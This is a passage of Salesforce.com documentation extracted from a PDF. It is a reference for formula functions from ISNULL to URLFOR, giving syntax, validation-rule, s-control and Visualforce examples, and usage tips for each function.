

ISNULL(Project_Start_Date__c))

This validation rule makes the Project Start Date


custom date field conditionally required whenever the
opportunity stage is “Closed Won.”

Tips: • Text fields are never null, so using this function with a text
field always returns false. For example, the formula field
IF(ISNULL(new__c) 1, 0) is always zero regardless
of the value in the New field. For text fields, use the
ISBLANK function instead.
• Multi-select picklist fields are never null in s-controls,
buttons, and email templates, so using this function with
a multi-select picklist field in those contexts always returns
false.
• Empty date and date/time fields always return true when
referenced in ISNULL functions.
• Choose Treat blank fields as blanks for your
formula when referencing a number, percent, or currency
field in an ISNULL function. Choosing Treat blank
fields as zeroes gives blank fields the value of zero
so none of them will be null.
• Merge fields can be handled as blanks, which can affect
the results of components like s-controls because they can
call this function.
• When using a validation rule to ensure that a number field
contains a specific value, use the ISNULL function to
include fields that do not contain any value. For example,
to validate that a custom field contains a value of '1,' use
the following validation rule to display an error if the field
is blank or any other number:

OR(ISNULL(field__c), field__c<>1)

961
Customize Operators and Functions

ISNUMBER

Description: Determines if a text value is a number and returns TRUE if


it is. Otherwise, it returns FALSE.
Use: ISNUMBER(text) and replace text with the merge field
name for the text field.
Validation Rule Example: OR(LEN(Bank_Account_Number__c) <> 10,
NOT(ISNUMBER(Bank_Account_Number__c)))

This validation rule ensures a custom text field called Bank


Account Number is a number of 10 digits and is not blank.

Tips: • This function returns FALSE for blank values.


• The ISNUMBER function is not aware of your locale.
For example, ISNUMBER("123,12") and ISNUMBER("1
000") return FALSE even if the user's locale is “French.”
• Chinese, Japanese, Korean, and special characters including
a space return FALSE.
• The ISNUMBER function returns TRUE for scientific
formatting such as “2E2” or “123.123.”

ISPICKVAL

Description: Determines if the value of a picklist field is equal to a text


literal you specify.
Use: ISPICKVAL(picklist_field, text_literal) and
replace picklist_field with the merge field name for the
picklist; replace text_literal with the picklist value in
quotes. text_literal cannot be a merge field or the result
of a function.
Examples: Contract Activation
IF(ISPICKVAL(Status, "Activated"),
NOW()-ActivatedDate, null) calculates the number of
days since the contract was activated. If the contract status is
not “Activated,” this field is blank.
Commission Amounts

IF(ISPICKVAL(StageName, "Closed Won"),


ROUND(Amount *0.02, 2), 0)

This example calculates the commission amount for any


opportunity that has a “Closed Won” stage. The value of this
field will be the amount times 0.02 for any closed/won
opportunity. Open or lost opportunities will have a zero
commission value.

962
Customize Operators and Functions

Competitor-Triggered Workflow

ISPICKVAL(Stage, “Closed Lost”) &&


INCLUDES(Competitor__c, “Acme”)

This formula in a workflow rule configures Salesforce.com to


trigger the associated workflow actions if the Competitor
multi-select picklist field on a lost opportunity is Acme.
Tips: • Replace picklist_field with a custom or standard field
of type picklist.
• Your text_literal expression must be of type text and
enclosed in quotes. It cannot be a merge field or the result
of a function.
• Use CASE functions to determine if a picklist value is
equal to a particular value.
• When using the ISPICKVAL function to return the
previous value of a picklist field, include the
PRIORVALUE function inside the ISPICKVAL function
as in this example:

ISPICKVAL(PRIORVALUE(picklist_field),
text_literal)

JSENCODE

Description: Encodes text and merge field values for use in JavaScript by
inserting escape characters, such as a backslash (\), before
unsafe JavaScript characters, such as the apostrophe (').
Use: {!JSENCODE(text)} and replace text with the merge field
or text string that contains the unsafe JavaScript characters.
Example: If the merge field foo__c contains <B>Enter the user's
name<b>, {!JSENCODE(foo__c)} results in:
\u003CB\u003EEnter the user\'s
name\u003C\/b\u003E

JSINHTMLENCODE

Description: Encodes text and merge field values for use in JavaScript within
HTML tags by inserting escape characters before unsafe
JavaScript characters and replacing characters that are reserved
in HTML with HTML entity equivalents.
Use: {!JSINHTMLENCODE(text)} and replace text with the
merge field or text string that contains the unsafe JavaScript
characters.

963
Customize Operators and Functions

Example: If the merge field foo__c contains <B>Enter the


user's name<b>, {!JSINHTMLENCODE(foo__c)} results
in: &lt;B&gt;Enter the user&#39;s
name&lt;/b&gt;

LEFT

Description: Returns the specified number of characters from the beginning


of a text string.
Use: LEFT(text, num_chars) and replace text with the field
or expression you want returned; replace num_chars with the
number of characters from the left you want returned.
Example: TRIM(LEFT(LastName, 5)) & "-" &
TRIM(RIGHT(SSN__c, 4))
This formula displays the first five characters of the contact’s
last name and the last four characters of the contact’s social
security number separated by a dash. Note that this example
uses a text custom field called SSN on contacts.

Tips: • Reference auto-number fields as text fields in formulas.


• If the num_chars value is less than zero, Salesforce.com
replaces the value with zero.

LEN

Description: Returns the number of characters in a specified text string.


Use: LEN(text) and replace text with the field or expression
whose length you want returned.
Example: LEN(PartNumber__c)
This formula returns the number of characters in a Product
Code field.

LINKTO

Description: Returns a relative URL in the form of a link (href and anchor
tags) for a custom s-control or Salesforce.com page.
Use: {!LINKTO(label, target, id, [inputs], [no
override]} and replace label with the text for the link,
target with the URL, and id with a reference to the record.
Inputs are optional and can include any additional parameters
you want to add to the link. The no override argument is
also optional and defaults to “false.” It applies to targets for
standard Salesforce.com pages such as $Action.Account.New.
Replace no override with “true” when you want to display

964
Customize Operators and Functions

a standard Salesforce.com page regardless of whether you have


defined an override for it elsewhere.
S-Control Example: New Account S-Control

<html>
<body>
{!LINKTO("Create a New Account",
$Action.Account.New,
$ObjectType.Account)}
</body>
</html>

This example allows users to click a link to create a new


account. It is useful in account list views or Web tabs where
you want users to create an account directly from that page.
Use the $Action global variable to access the new account page
in Salesforce.com.
New Email Window S-Control

<html>
<body>
{!LINKTO("Email link",
"mailto:support@yourcompany.com?
subject=Please%20Help")};
</body>
</html>

This example launches a new email window addressed to


support@yourcompany.com with the subject “Please Help”
whenever a user clicks “Mail link.”
Link to Another S-Control

<html>
<body>
{!LINKTO("Check for duplicates",
$Scontrol.dedup_account, Account.Id)}
</body>
</html>

Use this example to generate a page containing a hyperlink


labeled “Check for duplicates.” When users click this link,
Salesforce.com runs your custom s-control. This example
assumes you have already created a custom s-control to find
duplicate accounts and merge their information.

Tips: • Avoid using this function in an inline s-control if you want


it to open in a new window.
• Enclose multiple inputs in brackets to indicate they are
together:

{!LINKTO("View Case", $Action.Case.View,


Case.Id, [parm1="A", parm2="B"])}

965
Customize Operators and Functions

• Set inputs to null if you do not have any to pass yet you
want to set the no override argument:

{!LINKTO("View Case", $Action.Case.View,


Case.Id, null, true)}

• When you override the tab home page for a standard or


custom tab, set target to the “Tab” $Action global
variable and id to the object type. For example,
LINKTO("Accounts Tab", $Action.Account.Tab,
$ObjectType.Account)
• This function is only available in custom buttons, links,
and s-controls.

LN

Description: Returns the natural logarithm of a specified number. Natural


logarithms are based on the constant e value of
2.71828182845904.
Use: LN(number) and replace number with the field or expression
for which you want the natural logarithm. Note: the LN
function is the inverse of the EXP function.
Example: LN(10) returns the natural logarithm of 10, which is 2.30.
LN(Value__c) returns the natural logarithm of a custom
number field called Value.

LOG

Description: Returns the base 10 logarithm of a number.


Use: LOG(number) and replace number with the field or expression
from which you want the base 10 logarithm calculated.
Example: Salary
LOG(Salary__c) calculates the logarithm of a person’s salary.
In this example, Salary is a custom currency field.
Hydrogen
-LOG(Hydrogen__c) calculates the pH and acidity using
the LOG function and a custom number field called
Hydrogen, which represents the concentration of Hydrogen
ions in the liquid measured in moles per liter.

966
Customize Operators and Functions

LOWER

Description: Converts all letters in the specified text string to lowercase.


Any characters that are not letters are unaffected by this
function. Locale rules are applied if a locale is provided.
Use: LOWER(text, [locale]) and replace text with the field
or text you wish to convert to lowercase. and locale with the
optional two-character ISO language code or five-character
locale code, if available. For information on supported
languages, see What languages does Salesforce.com support?.
Example: SALESFORCE.COM
LOWER("SALESFORCE.COM") returns “salesforce.com.”
Ticker Symbol
LOWER(TickerSymbol) returns the text in Ticker Symbol
in lower case characters.
Applying Turkish Language Locale Rules
The Turkish language has two versions of the letter i: one
dotted and one dotless. The locale rules for Turkish require
the ability to capitalize the dotted i, and allow the dotless I to
be lowercase. To correctly use the LOWER() function with the
Turkish language locale, use the Turkish locale code tr in the
LOWER() function as follows:
LOWER(text, "tr")
This ensures that Salesforce.com does not transform any dotted
i in the text to a dotless I.

LPAD

Description: Inserts spaces or characters you specify to the left-side of a


text string.
Use:
LPAD(text, padded_length[, pad_string]) and
replace the variables:
• text is the field or expression you want to insert spaces
or characters to the left of.
• padded_length is the number of total characters in the
text that will be returned.
• pad_string is the character or characters that should be
inserted. pad_string is optional and defaults to a blank
space.
If the value in text is longer than pad_string, text is
truncated to the size of padded_length.

967
Customize Operators and Functions

Example: Account Name: Padding


LPAD(Name, 20) truncates the Name field after 20
characters or inserts spaces to the left of the name until the
entire value is 20 characters long. For example, if the name is
salesforce.com, the value returned is "......salesforce.com."
My_Company: No Change
LPAD('my_company.com', 14, 'z') returns
“my_company.com” without change because it has 14
characters.
Account Name Padded with Z
LPAD(Name, 15, 'z') returns the name “zsalesforce.com.”
Account Name: Truncating
LPAD(Name, 2) truncates the name after the second
character. For example, if the name is salesforce.com, the
value returned is “sa.”

Tips: Salesforce.com omits leading zeros.

MAX

Description: Returns the highest number from a list of numbers.


Use: MAX(number, number,...) and replace number with the
fields or expressions from which you want to retrieve the
highest number.
Example: Service Charge
MAX(0.06 * Total_Cost__c,
Min_Service_Charge__c)
In this example, the formula field calculates a service charge
of 6% of the total cost or a minimum service charge, whichever
is greater. Note that Min Service Charge is a custom
currency field with a default value of $15. However, you could
make it a formula field if your minimum service charge is
always the same amount.
Book Royalties

MAX(0.10 * Pages__c,
(Retail_Price__c * 0.07) * Total_Sold__c)

This formula determines which amount to pay in royalties for


a book. It displays the greater of two amounts: $0.07 for each
book sold or $0.10 per page. It assumes you have custom
number fields for Pages and Total Sold and a custom
currency field for Retail Price.

968
Customize Operators and Functions

Commissions

MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)

This formula determines what commission to log for an asset


based on which is greater: the user's commission percentage
of the price, the price times the discount percent stored for
the account or 100 dollars. This example assumes you have
two custom percent fields on users and assets.

MID

Description: Returns the specified number of characters from the middle


of a text string given the starting position.
Use: MID(text, start_num, num_chars) and replace text
with the field or expression to use when returning characters;
replace start_num with the number of characters from the
left to use as a starting position; replace num_chars with the
total number of characters to return.
Example: MID(Division, 3, 4) returns four characters of the
Division name beginning with the third character from the
left. On a user record, this represents the department code.

MIN

Description: Returns the lowest number from a list of numbers.


Use: MIN(number, number,...) and replace number with the
fields or expressions from which you want to retrieve the lowest
number.
Example: 401K Matching

MIN(250, Contribution__c /2)

This example formula determines which amount to provide


in employee 401K matching based on a matching program of
half of the employee's contribution or $250, whichever is less.
It assumes you have custom currency field for Contribution.
Bonus

MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)

This example determines an employee's bonus amount based


on the smallest of two amounts: the employee's gross times
bonus percent or an equally divided amount of the company's
performance amount among all employees. It assumes you

969
Customize Operators and Functions

have custom number field for Number of Employees, a


custom percent field for Bonus Percent, and currency
custom fields for the employee's Gross and company's
Performance.

MOD

Description: Returns a remainder after a number is divided by a specified divisor.


Use: MOD(number, divisor) and replace number with the field or expression you want
divided; replace divisor with the number to use as the divisor.
Example: MOD(3, 3) returns 0
MOD(4, 3) returns 1
MOD(123, 100) returns 23
You may want to prevent users from scheduling meetings on a Saturday or Sunday. Use
the following example to apply a validation rule to a custom date field calledMy Date.

CASE(MOD(My_Date__c - DATE(1900, 1, 7), 7),


0, 0,
6, 0,
1) = 0

This example displays the following error message when the value of My Date is not
Monday through Friday: “My Date is not a weekday.”

MONTH

Description: Returns the month, a number between 1 ( January) and 12 (December) in number format
of a given date.
Use: MONTH(date) and replace date with the field or expression for the date containing
the month you want returned.
Example: SLA Expiration
MONTH(SLAExpirationDate__c) returns the month that your service-level agreement
expires. This example uses a custom date field called SLA Expiration Date.
Current Month
MONTH(TODAY()) returns the current month in a number format. For example, the
month of February would be the value “2.”

NOT

Description: Returns FALSE for TRUE and TRUE for FALSE.


Use: NOT(logical) and replace logical with the expression that you want evaluated.

970
Customize Operators and Functions

Example: IF(NOT(ISPICKVAL(Status, "Closed")), ROUND(NOW()-CreatedDate,


0), null checks to see if a case is open and if so, calculates the number of days it has
been open by subtracting the date and time created from the current date and time. The
result is the number of days open rounded to zero decimal places. If the case is not open,
this field is blank.

NOW

Description: Returns a date/time representing the current moment.


Use: NOW()

Example: IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)


This formula checks to see if a lead is open and if so, calculates the number of days it
has been open by subtracting the date and time created from the current date and time.
The result is the number of days open rounded to zero decimal places. If the lead is not
open, this field is blank.

Tips: • Do not remove the parentheses.


• Keep the parentheses empty. They do not need to contain a value.
• Use a date/time field in a NOW function instead of a date field. Created Date
and Last Modified Date are date/time fields whereas Last Activity Date
is a date field.
• Use TODAY if you prefer to use a date field.
• Dates and times are always calculated using the user’s time zone.
• Use addition and subtraction operators with a NOW function and other date/time
fields to return a number, representing number of days. For example NOW() -
CreatedDate calculates the number of days since the created date of a record. In
this example, the formula field data type is a number.
• Use addition and subtraction operators with a NOW function and numbers to return
a date and time. For example NOW() +5 calculates the date and time five days ahead
of now. In this example, the formula field data type is a date/time.

NULLVALUE

Description: Determines if an expression is null (blank) and returns a substitute expression if it is. If
the expression is not blank, returns the value of the expression.
Note: Use BLANKVALUE instead of NULLVALUE in new formulas.
BLANKVALUE has the same functionality as NULLVALUE, but also supports
text fields. Salesforce.com will continue to support NULLVALUE, so you do
not need to change existing formulas.

Use: NULLVALUE(expression, substitute_expression) and replace expression


with the expression you want to evaluate; replace substitute_expression with the
value you want to replace any blank values.

971
Customize Operators and Functions

Example: (NULLVALUE(Payment_Due_Date__c, StartDate +5)


This formula returns the date five days after the contract start date whenever Payment
Due Date is blank. Payment Due Date is a custom date field on contracts.

Tips: • Avoid using this function with text fields because they are never null even when they
are blank. Instead, use the BLANKVALUE function to determine if a text field is
blank.
• Choose Treat blank fields as blanks for your formula when referencing
a number, percent, or currency field in a NULLVALUE function. Choosing Treat
blank fields as zeroes gives blank fields the value of zero so none of them
will be null.
• Use the same data type for both the expression and substitute_expression.

OR

Description: Determines if expressions are true or false. Returns TRUE if any expression is true.
Returns FALSE if all expressions are false. Use this function as an alternative to the
operator || (OR).
Use: OR(logical1, logical2...) and replace any number of logical references with
the expressions you want evaluated.
Formula Field Example: IF(OR(ISPICKVAL(Priority, "High"), ISPICKVAL(Status, "New")),
ROUND(NOW()-CreatedDate, 0), null)
This formula returns the number of days a case has been open if the Status is new or
the Priority is high. If the case was opened today, this field displays a zero.

Validation Rule Example: OR(Discount_Rate__c < 0, Discount_Rate__c > 0.40)

This validation rule formula displays the following error message when the Discount
Rate custom field is not between 0 and 40%: “Discount Rate cannot exceed 40%.”

PARENTGROUPVAL

Description: A summary function that returns the value of the selected


summary field from the parent grouping level that you specify.
Parent grouping levels are those above the grouping level where
you chose to display the formula. For matrix reports, choose
both row and column grouping levels.
You can use this function only in the context of creating
custom summary formulas for summary reports.

Use: PARENTGROUPVAL(summary_field, grouping_level)


and replace summary_field and grouping_level with
the expressions you want evaluated.

972
Customize Operators and Functions

Example: TOTAL_PRICE:SUM/PARENTGROUPVAL(TOTAL_PRICE:SUM,

GRAND_SUMMARY)

This custom summary formula calculates the size of one


product compared to other products for a report on
opportunities and their products, grouped by product name.

PREVGROUPVAL

Description: A summary function that returns the value of the selected


summary field from the previous summary row at the grouping
level that you specify. For matrix reports, the summary_field
you choose controls whether a previous row or column is
returned. The increment determines how many steps previous
to the current summary field to return. The default increment
is 1. The maximum increment is 12.
You can use this function only in the context of creating
custom summary formulas for summary reports.

Use: PREVGROUPVAL(summary_field, grouping_level


[, increment]) and replace summary_field,
grouping_level, and increment with the expressions
you want evaluated.
Example: AMOUNT:SUM - PREVGROUPVAL(AMOUNT:SUM,
CLOSE_DATE)

This custom summary formula calculates the change (positive


or negative) for a given month compared to the previous visible
month in the report. In this example, the report is an
opportunity matrix grouped by opportunity close date (in the
columns) and stage (in the rows).

PRIORVALUE

Description: Returns the previous value of a field.


Use: PRIORVALUE(field)

Validation Rule Example: The following validation rule prevents users from changing the expected revenue of an
opportunity after it is closed: AND(PRIORVALUE(Amount) > Amount, IsClosed).
Tips: • This function is available only in:
- Assignment rules
- Validation rules
- Field updates
- Workflow rules if the trigger type is set to Every time a record is
created or edited.

• This function does not return default values.

973
Customize Operators and Functions

• When users create a new record, this function returns the value of the field
referenced rather than null. For example, if you create an account named “Acme,”
PRIORVALUE(Account.Name) returns Acme.
• When using the ISPICKVAL function to return the previous value of a picklist
field, include the PRIORVALUE function inside the ISPICKVAL function as in
this example:

ISPICKVAL(PRIORVALUE(picklist_field),
text_literal)

• Use the PRIORVALUE function inside the INCLUDES function to check if the
previous value of a multi-select picklist field included a specific value. For example:

INCLUDES(
PRIORVALUE(multiselect_picklist_field),text_literal
)

REGEX

Description: Compares a text field to a regular expression and returns TRUE if there is a match.
Otherwise, it returns FALSE. A regular expression is a string used to describe a format
of a string according to certain syntax rules.
Use: REGEX(text, regex_text) and replace text with the text field, and regex_text
with the regular expression you want to match.
Validation Rule Example:
This example ensures that a custom field called SSN matches a regular expression
representing a valid social security number format of the form 999-99-9999.

NOT(
OR(
LEN (SSN__c) = 0,
REGEX(SSN__c, "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

Tips: • Regular expression syntax is based on Java Platform SE 6 syntax. However, backslash
characters (\) must be changed to double backslashes (\\) because backslash is an
escape character in Salesforce.com.
• The Salesforce.com regular expression engine matches an entire string as opposed
to searching for a match within a string. For example, if you are searching for the
name Marc Benioff, use the regular expression, .*Marc Benioff.*, to find a
match in a string like the following:

According to Marc Benioff, Salesforce increases customer


success.

974
Customize Operators and Functions

If you use the regular expression, Marc Benioff, the only string that this regular
expression will match is:

Marc Benioff

• Capture groups and substitutions are ignored.


• This function is available everywhere formulas exist except formula fields and default
values.

REQUIRESCRIPT

Description: Returns a script tag with source for a URL you specify. Use this function when
referencing the Force.com AJAX Toolkit or other JavaScript toolkits.
Use: {!REQUIRESCRIPT(url)} and replace url with the link for the script that is required.
For the AJAX Toolkit:

{!requireScript("/soap/ajax/13.0/connection.js")}

Returns:

<script src="/soap/ajax/13.0/connection.js"></script>

For Dojo:

{!requireScript("/js/dojo/0.3.1/dojo.js")}

Returns:

<script src="/js/dojo/0.3.1/dojo.js"></script>

Custom Button Example: {!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")}


var c = new sforce.SObject("Case");
c.id = "{!Case.Id}";
c.Status = "New";
result = sforce.connection.update([c]);
window.location.reload();

This example sets the Status of a case to “New” whenever a user clicks a custom button
from the case detail page. To set this up in your organization, define a custom button
for cases that has the following attributes:
• Display Type is “Detail Page Button”
• Behavior is “Execute JavaScript”
• Content Source is “OnClick JavaScript”

Next, paste the content above into your custom button definition and add it to your
case page layouts.

Tips: • Use global variables to access special merge fields for s-controls.

975
Customize Operators and Functions

• Use this function when creating custom buttons or links where you have set the
Behavior to “Execute JavaScript” and Content Source to “OnClick JavaScript”
because the script tag should be outside the OnClick code.
• This function is only available for custom buttons and links that have Content
Source set to “OnClick JavaScript.”
• When working in Visualforce, use INCLUDESCRIPT instead.

RIGHT

Description: Returns the specified number of characters from the end of a text string.
Use: RIGHT(text, num_chars) and replace text with the field or expression you want
returned; replace num_chars with the number of characters from the right you want
returned.
Example: TRIM(LEFT(LastName, 5))&"-"&TRIM(RIGHT(SSN__c, 4)) displays the first
five characters of the contact’s last name and the last four characters of the contact’s
social security number separated by a dash. Note that this assumes you have a text custom
field called SSN on contacts.
Tips: • Reference auto-number fields as text fields in formulas.
• If the num_chars value is less than zero, Salesforce.com replaces the value with
zero.

ROUND

Description: Returns the nearest number to a number you specify, constraining the new number by
a specified number of digits.
Use: ROUND(number, num_digits) and replace number with the field or expression you
want rounded; replace num_digits with the number of decimal places you want to
consider when rounding.
Example: ROUND (1.5, 0) = 2
ROUND (1.2345, 0) = 1
ROUND (-1.5, 0) = -2
ROUND (225.49823, 2) = 255.50
Simple Discounting
ROUND(Amount-Amount* Discount_Percent__c,2)
Use this formula to calculate the discounted amount of an opportunity rounded off to
two digits. This example is a number formula field on opportunities that uses a custom
percent field called Discount Percent.

Tips: • Enter zero for num_digits to round a number to the nearest integer.
• Salesforce.com automatically rounds numbers based on the decimal places you specify.
For example, a custom number field with two decimal places stores 1.50 when you
enter 1.49999.

976
Customize Operators and Functions

• The decimal numbers displayed depend on the decimal places you selected when
defining the field in the custom field wizard.The num_digits represents the number
of digits considered when rounding.

RPAD

Description: Inserts blank spaces or characters that you specify to the right-side of a text string.
Use:
RPAD(text, padded_length[, 'pad_string']) and replace the variables:

• text is the field or expression after which you want to insert spaces or characters.
• pad_length is the number of total characters in the text string that will be returned.
• pad_string is the character or characters that should be inserted. pad_string is
optional and defaults to a blank space.
If the value in text is longer than pad_string, text is truncated to the size of
padded_length.

Example: Account Name: Padding Default


RPAD(Name, 20) truncates the Name field after 20 characters if the name is longer
than 20 characters or inserts spaces to the right of the existing name until the name is
20 characters long. For example, if the name is salesforce.com, the value returned
is “salesforce.com .”
My_Company: No Change
RPAD('my_company.com', 14, 'z') returns “my_company.com” without change
because it has 14 characters.
Account Name: Padding with a Character
RPAD(Name, 15, 'z') returns “salesforce.comz” .
Account Name: Truncating
RPAD(Name, 2) truncates the name after the second character. For example, if the
name is salesforce.com, the value returned is “sa.”

SQRT

Description: Returns the positive square root of a given number.


Use: SQRT(number) and replace number with the field or expression you want computed
into a square root.
Example: SQRT(25)returns the square root of 25, which is 5.
Amplitude
SQRT(Amplitude__c) returns the square root of a custom number field representing
the amplitude of an earthquake.

Tips: • Calculating the square root of a negative number results in an error on the detail
page.

977
Customize Operators and Functions

• Avoid division by zero errors by including an IF function such as:


IF(Amplitude__c >= 0, SQRT(Amplitude__c), null).

SUBSTITUTE

Description: Substitutes new text for old text in a text string.


Use: SUBSTITUTE(text, old_text, new_text) and replace text with the field or
value for which you want to substitute values, old_text with the text you want replaced,
and new_text with the text you want to replace the old_text.
Example: SUBSTITUTE(Name, "Coupon", "Discount")returns the name of an opportunity
that contains the term “Coupon” with the opportunity name plus “Discount” wherever
the term “Coupon” existed.
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the
location of the @ sign in a person's email address to determine the length of text to
replace with a “www.” as a means of deriving their website address.

Tips: • Each term provided in quotes is case sensitive.


• If the old_text appears more than once, each occurrence is replaced with the
new_text value provided even when that results in duplicates.

TEXT

Description: Converts a percent, number, date, date/time, or currency type field into text anywhere
formulas are used. Also, converts picklist values to text in validation rules, formula fields,
and field updates.
Use: TEXT(value) and replace value with the field or expression you want to convert to
text format. Avoid using any special characters besides a decimal point (period) or minus
sign (dash) in this function.
Example: Expected Revenue in Text
TEXT(ExpectedRevenue) returns the expected revenue amount of an opportunity
in text format without a dollar sign. For example, if the Expected Revenue of a
campaign is "$200,000," this formula field displays “200000.”
Asset ID
SerialNumber &"-"& TEXT(Quantity) returns an asset ID number starting with
the serial number and ending with the quantity separated by a dash. The Serial
Number field is already text but the Quantity field is a number, requiring the TEXT
function before it.
Use Picklist Values in Math Equations

VALUE(LEFT(TEXT(Quantity), 5)) * Unit

This formula multiplies the first five numbers of the Quantity picklist by the Unit
numeric field.

978
Customize Operators and Functions

Compare Two Picklists

IF(TEXT(bug_status) = TEXT(case_status), “Match”, “Out of Sync”)

This formula compares the values of the bug_status picklist with values of the
case_status picklist.
Display Picklist Values From Parent Records

TEXT(Account.Industry)

This formula field on opportunities shows the industry of the associated account.
Concatenate Picklist Values

TEXT(Account.Industry) & " - " & TEXT(Account.SubIndustry__c)

This formula field on opportunities shows the industry and subindustry of the associated
account.

Validation Rule Examples: Block the Save of a Closed Opportunity


CONTAINS(TEXT(Status), "Closed") returns TRUE if the Status picklist
contains the value “Closed,” such as “Closed Won” and “Closed Lost.” This validation
rule formula blocks users from saving changes to a closed opportunity.
Use Numeric Functions on Numeric Picklist Values
VALUE(LEFT(TEXT(Quantity), 5)) * Unit > 10000 multiplies the first five
numbers of the Quantity picklist by the Unit numeric field, and returns TRUE if
the result is greater than 10,000.
Directly Compare Two Picklists
TEXT(bug_status) = TEXT(case_status) compares the values of the bug_status
picklist with values of the case_status picklist, and returns TRUE if they are equal.

Tips: • The returned text is not formatted with any currency, percent symbols, or commas.
• Values are not sensitive to locale. For example, 24.42 EUR are converted into the
number 24.42.
• Percents are returned in the form of a decimal.
• Dates are returned in the form of YYYY-MM-DD, that is, a four-digit year and
two-digit month and day.
• Date/time values are returned in the form of YYYY-MM-DD HH:MM:SSZ where
YYYY is a four-digit year, MM is a two-digit month, DD is a two-digit day, HH
is the two-digit hour, MM are the minutes, SS are the seconds, and Z represents
the zero meridian indicating the time is returned in UTC time zone.
• Picklist fields are only supported in TEXT functions used in validation rule formulas,
formula fields, and field updates. In other formulas, use ISPICKVAL or CASE
when referencing a picklist field.
• The TEXT function always returns picklist values in your organization's master
language, not the language of the current user.

979
Customize Operators and Functions

TODAY

Description: Returns the current date as a date data type.


Use: TODAY()

Example: TODAY()-Date_in_approval__c calculates how many days a contract is in the


approval process. This example is a number formula field on contracts that uses a custom
date field called Date in approval.
Validation Rule Example: CloseDate < TODAY()

This example ensures that users cannot change the Close Date of an opportunity to
any date in the past.

Tips: • Do not remove the parentheses.


• Keep the parentheses empty. They do not need to contain a value.
• Use a date field with a TODAY function instead of a date/time field. Last
Activity Date is a date field whereas Created Date and Last Modified
Date are date/time fields.
• See NOW if you prefer to use a date/time field.
• Dates and times are always calculated using the user’s time zone.
• Use addition and subtraction operators with a TODAY function and other date
fields to return a number, representing number of days. For example
TODAY()-LastActivityDate calculates the number of days since the last activity
date. In this example, the formula field data type is a number.
• Use addition and subtraction operators with a TODAY function and numbers to
return a date. For example TODAY() +5 calculates the date five days ahead of today.
In this example, the formula field data type is a date.

TRIM

Description: Removes the spaces and tabs from the beginning and end of a text string.
Use: TRIM(text) and replace text with the field or expression you want to trim.

Example: TRIM(LEFT(LastName,5))& "-" & RIGHT(FirstName, 1) returns a network


ID for users that contains the first five characters of their last name and first character
of their first name separated by a dash.

UPPER

Description: Converts all letters in the specified text string to uppercase. Any characters that are not
letters are unaffected by this function. Locale rules are applied if a locale is provided.
Use: UPPER(text, [locale]) and replace text with the field or expression you wish to
convert to uppercase, and locale with the optional two-character ISO language code
or five-character locale code, if available. For information on supported languages, see
What languages does Salesforce.com support?.

980
Customize Operators and Functions

Example: SALESFORCE.COM
UPPER("salesforce.com") returns “SALESFORCE.COM.”
SALESFORCE.COM 123
UPPER("Salesforce.com 123") returns “SALESFORCE.COM 123.”
Applying Turkish Language Locale Rules
The Turkish language has two versions of the letter i: one dotted and one dotless. The
locale rules for Turkish require the ability to capitalize the dotted i, and allow the dotless
I to be lowercase. To correctly use the UPPER() function with the Turkish language
locale, use the Turkish locale code tr in the UPPER() function as follows:
UPPER(text, "tr")
This ensures that Salesforce.com does not transform any dotted i in the text to a dotless
I.

URLENCODE

Description: Encodes text and merge field values for use in URLs by
replacing characters that are illegal in URLs, such as blank
spaces, with the code that represent those characters as defined
in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax.
For example, blank spaces are replaced with %20, and
exclamation points are replaced with %21.
Use: {!URLENCODE(text)} and replace text with the merge
field or text string that you want to encode.
Example: If the merge field foo__c contains <B>Mark's page<b>,
{!URLENCODE(foo_c)} results in:
%3CB%3EMark%27s%20page%3C%2Fb%3E

Tips: • Custom buttons and links with URL content sources have
separate encoding settings. If you use the URLENCODE
function to encode a custom button or link that has an
encoding setting specified, Salesforce.com first encodes
the URL according to the custom button or link setting,
then encodes the result. For example, if the URL in a
custom link contains a space and its encoding setting is
UTF8, Salesforce.com first encodes the space to a plus
sign (+), then the URLENCODE function converts the
plus sign to its character code, %2B.
• When you include the standard Account field on
opportunities (Opportunity.Account) in the
URLENCODE function, the value of the field is the
account ID, not the account name. To encode the account
name, create a custom cross-object formula field on
opportunities that spans to the account name, and use that
field in the URLENCODE function instead of

981
Customize Operators and Functions

Opportunity.Account. For example, if the cross-object


formula is AccountNameFormula__c, use the following:

http://www.google.com/search?q={!URLENCODE
(Opportunity.AccountNameFormula__c)}

URLFOR

Description: Returns a relative URL for an action, s-control, or a file in a static resource archive in
a Visualforce page.
Use: {!URLFOR(target, id, [inputs], [no override])} and replace target
with the URL or action, s-control, or static resource merge variable, id with a reference
to the record, and inputs with any optional parameters. The no override argument
is also optional and defaults to “false.” It applies to targets for standard Salesforce.com
pages such as $Action.Account.New. Replace no override with “true” when you
want to display a standard Salesforce.com page regardless of whether you have defined
an override for it elsewhere.

982
Customize Operators and Functions

S-Control Example: <html>


<head>
<script src="/soap/ajax/13.0/connection.js">
</script>
<script>
function init()
{
var queryResult = sforce.connection.query("Select count() from
CaseSolution Where CaseId = '{!Case.Id}'");
var size = queryResult.size;
if (size > 0) {
//go to the standard case close page without invoking the
override
window.parent.location.href = "{!URLFOR($Action.Case.CloseCase,
Case.Id, [retURL=URLFOR($Action.Case.View, Case.Id)], true)}"
}
else
{
alert("Case must contain at least one solution before it can
be closed.");
//go to the standard case detail page
this.parent.location.href = "{!URLFOR($Action.Case.View,
Case.Id)}";
}
}
</script>
</head>
<body onload="init()">
<p>&nbsp;</p>
</body>
</html>

In this example, the s-control displays a message to users when they click Close Case
on a case with no associated solutions. If the case is associated with at least one solution,
the close case page displays as usual. To implement this example, create an s-control
with the content above. Then, override the close case option using the s-control.
This example shows how you can validate data using a standard button override. Use
validation rules to validate data on a record and an s-control like the one in this example
to validate associated data. This example does not apply to records updated using the
API.
This example uses the URLFOR function to build Salesforce.com URLs rather than
hard-coding them, which is more scalable. It also sets the no override argument to
“true,” telling Salesforce.com to ignore the override and call a standard close case action
within an override.

Visualforce Example: <apex:image url="{!URLFOR($Resource.TestZip,


'images/Bluehills.jpg')}" width="50" height="50" />

In this example, the <apex:image> component references a .jpg file contained within
a .zip file that has been uploaded as a static resource. When uploaded, the name of the
static resource was defined as TestZip, and the path to the image within the resource
is images/Bluehills.jpg.

